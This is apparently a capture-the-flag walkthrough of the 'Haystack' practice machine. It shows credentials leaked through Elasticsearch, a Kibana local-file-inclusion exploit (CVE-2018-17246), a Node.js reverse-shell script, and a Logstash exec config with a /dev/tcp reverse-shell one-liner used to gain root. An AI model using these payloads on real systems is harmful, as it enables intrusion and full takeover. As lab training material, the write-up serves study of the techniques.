

```
root@kali:~/Masaüstü# nmap -sC -sV -p- -T4 10.10.10.115
Starting Nmap 7.70 ( https://nmap.org ) at 2019-07-07 09:56 +03
Nmap scan report for 10.10.10.115
Host is up (0.068s latency).
Not shown: 65532 filtered ports
PORT      STATE SERVICE VERSION
22/tcp    open  ssh      OpenSSH 7.4 (protocol 2.0)
|_ ssh-hostkey:
|   2048 2a:8d:e2:92:8b:14:b6:3f:e4:2f:3a:47:43:23:8b:2b (RSA)
|   256 e7:5a:3a:97:8e:8e:72:87:69:a3:0d:d1:00:bc:1f:09 (ECDSA)
|_  256 01:d2:59:b2:66:0a:97:49:20:5f:1c:84:eb:81:ed:95 (ED25519)
80/tcp    open  http     nginx 1.12.2
|_ http-server-header: nginx/1.12.2
|_ http-title: Site doesn't have a title (text/html).
9200/tcp  open  http     nginx 1.12.2
|_ http-methods:
|_   Potentially risky methods: DELETE
|_ http-server-header: nginx/1.12.2
|_ http-title: Site doesn't have a title (application/json; charset=UTF-8).
```



```
root@kali:~/Masaüstü# strings needle.jpg |tail -n 10
:t6Q6
STW5
*0o!;.o|?>
.n2FrZ
rrNMz
#=pMr
BN2I
,'*'
I$f2/<-iy
bGEgYWd1amEgZW4gZWwgGfYXlgZXMgImNsYXZlIg==
```

```
root@kali:~/Masaüstü# echo "bGEgYWdlamEgZW4gZWwgcGFqYXIgZXMgImNsYXZlIg==" | base64 -d  
la aguja en el pajar es "clave"root@kali:~/Masaüstü#
```

İspanyolca ▼



İngilizce ▼

la aguja en el  
pajar es "clave"



the needle in the  
haystack is "key"



←

→

↺

🏠

10.10.10.115:9200

⚙️ Most Visited

📺 Offensive Security

🌐 Kali Linux

📖 Kali Docs

🔪 Kali T

JSON

Raw Data

Headers

Save

Copy

name:

"iQEYHgS"

cluster\_name:

"elasticsearch"

cluster\_uuid:

"pjrX7V\_gSFmJY-DxP4tCQg"

▼ version:

number:

"6.4.2"

build\_flavor:

"default"

build\_type:

"rpm"

build\_hash:

"04711c2"

build\_date:

"2018-09-26T13:34:09.098244Z"

build\_snapshot:

false

lucene\_version:

"7.4.0"

minimum\_wire\_compatibility\_version:

"5.6.0"

minimum\_index\_compatibility\_version:

"5.0.0"

tagline:

"You Know, for Search"

```
root@kali:~/Masaüstü# curl -XGET http://10.10.10.115:9200/_search?q=clave
{"took":297,"timed_out":false,"_shards":{"total":11,"successful":11,"skipped":0,"failed":0},"hits":{"total":2,"max_score":5.9335938,"hits":[{"_index":"quotes","_type":"quote","_id":"45","_score":5.9335938,"_source":{"quote":"Tengo que guardar la clave para la maquina: dXNlcjogc2VjdXJpdHkg"}},{ "_index":"quotes","_type":"quote","_id":"111","_score":5.3459888,"_source":{"quote":"Esta clave no se puede perder, la guardo aca: cGFzczogc3BhbmlzaC5pcy5rZXk="}}]}}root@kali:~/Masaüstü#
root@kali:~/Masaüstü#
root@kali:~/Masaüstü# echo "dXNlcjogc2VjdXJpdHkg"|base64 -d
user: security root@kali:~/Masaüstü#
root@kali:~/Masaüstü#
root@kali:~/Masaüstü# echo "cGFzczogc3BhbmlzaC5pcy5rZXk="|base54 -d
bash: base54: command not found
root@kali:~/Masaüstü# echo "cGFzczogc3BhbmlzaC5pcy5rZXk="|base64 -d
pass: spanish.is.keyroot@kali:~/Masaüstü#
```

```
root@kali:~/Masaüstü# ssh security@10.10.10.115
security@10.10.10.115's password:
Last login: Sun Jul  7 02:47:57 2019 from 10.10.14.14
[security@haystack ~]$ ls
user.txt
[security@haystack ~]$ cat user.txt
04d18bc79dac1d4d48ee0a940c8eb929
[security@haystack ~]$
```



```
[security@haystack kibana]$ cat kibana.yml
# Kibana is served by a back end server. This setting specifies the port to use.
server.port: 5601

# Specifies the address to which the Kibana server will bind. IP addresses and host names are both valid values.
# The default is 'localhost', which usually means remote machines will not be able to connect.
# To allow connections from remote users, set this parameter to a non-loopback address.
server.host: "127.0.0.1"

# Enables you to specify a path to mount Kibana at if you are running behind a proxy.
# Use the `server.rewriteBasePath` setting to tell Kibana if it should remove the basePath
# from requests it receives, and to prevent a deprecation warning at startup.
# This setting cannot end in a slash.
#server.basePath: ""

# Specifies whether Kibana should rewrite requests that are prefixed with
# `server.basePath` or require that they are rewritten by your reverse proxy.
# This setting was effectively always `false` before Kibana 6.3 and will
# default to `true` starting in Kibana 7.0.
server.rewriteBasePath: false

# The maximum payload size in bytes for incoming server requests.
server.maxPayloadBytes: 1048576

# The Kibana server's name. This is used for display purposes.
server.name: "your-hostname"

# The URL of the Elasticsearch instance to use for all your queries.
elasticsearch.url: "http://localhost:9200"

# When this setting's value is true Kibana uses the hostname specified in the server.host
# setting. When the value of this setting is false, Kibana uses the hostname of the host
# that connects to this Kibana instance.
elasticsearch.preserveHost: true

# Kibana uses an index in Elasticsearch to store saved searches, visualizations and
# dashboards. Kibana creates a new index if the index doesn't already exist.
kibana.index: ".kibana"

# The default application to load.
kibana.defaultAppId: "home"

# If your Elasticsearch is protected with basic authentication, these settings provide
# the username and password that the Kibana server uses to perform maintenance on the Kibana
# index at startup. Your Kibana users still need to authenticate with Elasticsearch, which
```

# CVE-2018-17246 - Kibana LFI < 6.4.3 & 5.6.13

A Local File Inclusion on Kibana found by [CyberArk Labs](#), the LFI can be use to execute a reverse shell on the Kibana server with the following payload:

```
/api/console/api_server?sense_version=@@SENSE_VERSION&apis=../../../../../../../../../../../../path/to/shell.js
```

As you already guest, this attack need to be paired with an unrestricted file upload or any other vulnerability that allows you to write a file on the server.

There is no input validation so we can change the name of the JavaScript file to anything we want. In this case, with the path traversal technique, we can choose any file on the Kibana server.

The image shows a terminal window on the left and a Burp Suite window on the right. The terminal window displays Kibana logs, including a message indicating that the Elasticsearch plugin is red. The Burp Suite window shows a successful LFI attack, with the request path being `/api/console/api_server?sense_version=@@SENSE_VERSION&apis=../../../../../../../../../../../../path/to/shell.js`. The response is a reverse shell connection from 172.18.0.3.

**Terminal Log:**

```

[11:43:32.046] [info][plugins] Initializing plugin timeline@kibana
[11:43:32.138] [info][status][plugin:timeline@6.0.0] Status changed from uninitialized to green - Ready
[11:43:32.142] [info][listening] Server running at http://0:5602
[11:43:32.143] [error][status][ui settings] Status changed from uninitialized to red - Elasticsearch plugin is red
[11:43:34.215] [error] Uncaught error: api_server.js:15:26
    at arrayEach (/usr/share/kibana/node_modules/lodash/index.js:1209:13)
    at function.<anonymous> (/usr/share/kibana/node_modules/lodash/index.js:3345:13)
    at resolveApi (/usr/share/kibana/src/core/plugins/console/api_server/server.js:11:5)
    at handler (/usr/share/kibana/src/core/plugins/console/index.js:107:41)
    at Object.internals.handler (/usr/share/kibana/node_modules/hapi/lib/handler.js:96:26)
    at request.protection.run (/usr/share/kibana/node_modules/hapi/lib/handler.js:30:23)
    at internals.Protect.run (/usr/share/kibana/node_modules/hapi/lib/protect.js:66:15)
    at exports.execute (/usr/share/kibana/node_modules/hapi/lib/handler.js:24:22)
    at each (/usr/share/kibana/node_modules/hapi/lib/request.js:104:16)
    at iterate (/usr/share/kibana/node_modules/hapi/lib/node_modules/items/lib/index.js:30:13)
    at done (/usr/share/kibana/node_modules/hapi/lib/node_modules/items/lib/index.js:28:23)
    at hook.once (/usr/share/kibana/node_modules/hapi/lib/protect.js:52:16)
    at wrapped (/usr/share/kibana/node_modules/hapi/lib/index.js:875:20)
    at done (/usr/share/kibana/node_modules/hapi/lib/node_modules/items/lib/index.js:31:25)
    at function.wrapped [as next] (/usr/share/kibana/node_modules/hapi/lib/index.js:875:19)
    at function.internals.continue (/usr/share/kibana/node_modules/hapi/lib/index.js:100:18)
    at /usr/share/kibana/src/server/http_server.js:25:26
    at Items.serial (/usr/share/kibana/node_modules/hapi/lib/request.js:480:22)
    at iterate (/usr/share/kibana/node_modules/hapi/lib/node_modules/items/lib/index.js:30:13)
    at done (/usr/share/kibana/node_modules/hapi/lib/node_modules/items/lib/index.js:28:23)
    at function.wrapped [as next] (/usr/share/kibana/node_modules/hapi/lib/index.js:875:20)
Debug: internal, implementation, error
TypeError: Uncaught error: api_server.js is not a function
    at /usr/share/kibana/src/core/plugins/console/api_server/server.js:15:26
    at arrayEach (/usr/share/kibana/node_modules/lodash/index.js:1209:13)
    at function.<anonymous> (/usr/share/kibana/node_modules/lodash/index.js:3345:13)
    at resolveApi (/usr/share/kibana/src/core/plugins/console/api_server/server.js:11:5)
    at handler (/usr/share/kibana/src/core/plugins/console/index.js:107:41)
    at Object.internals.handler (/usr/share/kibana/node_modules/hapi/lib/handler.js:96:26)
    at request.protection.run (/usr/share/kibana/node_modules/hapi/lib/handler.js:30:23)

```

**Burp Suite Window:**

Listening on [0.0.0.0] (family 0, port 1337)  
 id  
 Connection from 172.18.0.3 47888 received!  
 uid=1000(kibana) gid=1000(kibana) groups=1000(kibana)  
 /usr/share/kibana

Burp Suite Professional v1.7.37 - kibana.burp - licensed to Econocom Digital Security [19 user li]

Target: Proxy: Spider: Scanner: Intruder: Repeater: Sequencer: Decoder: Comparer: Extender: Project options: User:

1 2 3 4 5 ...

Go Cancel < >

**Request**

Raw Params Headers Hex

GET /api/console/api\_server?sense\_version=@@SENSE\_VERSION&apis=../../../../../../../../../../../../path/to/shell.js HTTP/1.1

Host: 172.18.0.3:5602

User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86\_64; rv:64.0) Gecko/20100101 Firefox/44.0

Accept: \*/\*

Accept-Language: fr-FR;q=0.8,en-US;q=0.5,en;q=0.3

Accept-Encoding: gzip, deflate

Referer: http://172.18.0.3:5602/app/kibana

Connection: close

If-Modified-Since: Fri, 10 Nov 2017 18:50:16 GMT



```
TypeError: Uncaught error: http.request is not a function
at /usr/share/kibana/src/core_plugins/console/api_server/server.js:15:26
at forEach (/usr/share/kibana/node_modules/lodash/index.js:1289:13)
at Function.<anonymous> (/usr/share/kibana/node_modules/lodash/index.js:3345:13)
at resolveApi (/usr/share/kibana/src/core_plugins/console/api_server/server.js:11:5)
at handler (/usr/share/kibana/src/core_plugins/console/index.js:107:41)
at Object.internals.handler (/usr/share/kibana/node_modules/hapi/lib/handler.js:96:36)
at request._protect.run (/usr/share/kibana/node_modules/hapi/lib/handler.js:30:23)
```

```
Host: 172.18.0.1:5602
User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:64.0) Gecko/20100101 Firefox/44.0
Accept: */*
Accept-Language: fr-FR;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Referer: http://172.18.0.1:5602/app/kibana
Connection: close
If-Modified-Since: Fri, 10 Nov 2017 18:50:16 GMT
```

Vulnerability details: <https://www.cyberark.com/threat-research-blog/execute-this-i-know-you-have-it/>

Security Advisory: <https://www.elastic.co/blog/kibana-local-file-inclusion-flaw-cve-2018-17246>

- kibana version 6.0.0 from docker (without any Elasticsearch linked the PoC is working)
- shell.js from <https://github.com/appsecco/vulnerable-apps/tree/master/node-reverse-shell>

```
(function(){
  var net = require("net"),
      cp = require("child_process"),
      sh = cp.spawn("/bin/sh", []);
  var client = new net.Socket();
  client.connect(1337, "172.18.0.1", function(){
    client.pipe(sh.stdin);
    sh.stdout.pipe(client);
    sh.stderr.pipe(client);
  });
  return /a/; // Prevents the Node.js application from crashing
})();
```

```
[security@haystack tmp]$ curl -XGET -O http://10.10.12.151:8081/shels.js
% Total    % Received % Xferd  Average Speed   Time    Time     Time  Current
           %             Dload  Upload  Total   Spent    Left   Speed
100   384  100   384    0     0   3069      0  --:--:-- --:--:-- --:--:--   3147
[security@haystack tmp]$ cat shels.js
(function(){
  var net = require("net"),
      cp = require("child_process"),
      sh = cp.spawn("/bin/sh", []);
  var client = new net.Socket();
  client.connect(1339, "10.10.12.151", function(){
    client.pipe(sh.stdin);
    sh.stdout.pipe(client);
    sh.stderr.pipe(client);
  });
  return /a/; // Prevents the Node.js application from crashing
})();

[security@haystack tmp]$
```

```
[security@haystack tmp]$ curl http://127.0.0.1:5601/api/console/api_server?apis=../../../../../../../../../../../../tmp/shels.js
```

```
root@kali:~/Downloads# nc -nlvp 1339
listening on [any] 1339 ...
connect to [10.10.12.151] from (UNKNOWN) [10.10.10.115] 49304
python -c "import pty;pty.spawn('/bin/bash');"
bash-4.2$ id
id
uid=994(kibana) gid=992(kibana) grupos=992(kibana) contexto=system_u:system_r:unconfined_service_t:s0
bash-4.2$
```

Open ▼



shell.conf

~/Masaüstü

```
output {  
  if [type] == "execute" {  
    stdout { codec => json }  
    exec {  
      command => "/usr/bin/bash -i >& /dev/tcp/10.10.12.151/4443 0>&1"  
    }  
  }  
}
```

put to :/etc/logstash/conf.d

```
bash-4.2$ curl -XGET -O http://10.10.12.151:8081/shell.conf
```

```
curl -XGET -O http://10.10.12.151:8081/shell.conf
```

% Total	% Received	% Xferd	Average Speed	Time	Time	Time	Current	
			Dload	Upload	Total	Spent	Left	Speed
100	149	100	149	0	0	1196	0	--:--:-- --:--:-- --:--:-- 1211

```
bash-4.2$ service logstash restart
```

```
service logstash restart
```

```
Redirecting to /bin/systemctl restart logstash.service
```

```
Failed to restart logstash.service: Interactive authentication required.
```

```
See system logs and 'systemctl status logstash.service' for details.
```

```
bash-4.2$ █
```



```
root@kali:~/Masaüstü# nc -nlvp 4443
```

```
listening on [any] 4443 ...
```

```
connect to [10.10.12.151] from (UNKNOWN) [10.10.10.115] 33878
```

```
bash: no hay control de trabajos en este shell
```

```
[root@haystack /]# id
```

```
id
```

```
uid=0(root) gid=0(root) grupos=0(root) contexto=system_u:system_r:unconfined_service_t:s0
```

```
[root@haystack /]# ls
```

```
ls
```

```
bin
```

```
boot
```

```
dev
```

```
etc
```

```
home
```

```
lib
```

```
lib64
```

```
media
```

```
mnt
```

```
opt
```

```
proc
```

```
root
```

```
run
```

```
sbin
```

```
srv
```

```
sys
```

```
tmp
```

```
usr
```

```
var
```

```
[root@haystack /]# cd root
```

```
cd root
```

```
[root@haystack ~]# cat root.txt
```

```
cat root.txt
```

```
3f5f727c38d9f70e1d2ad2ba11059d92
```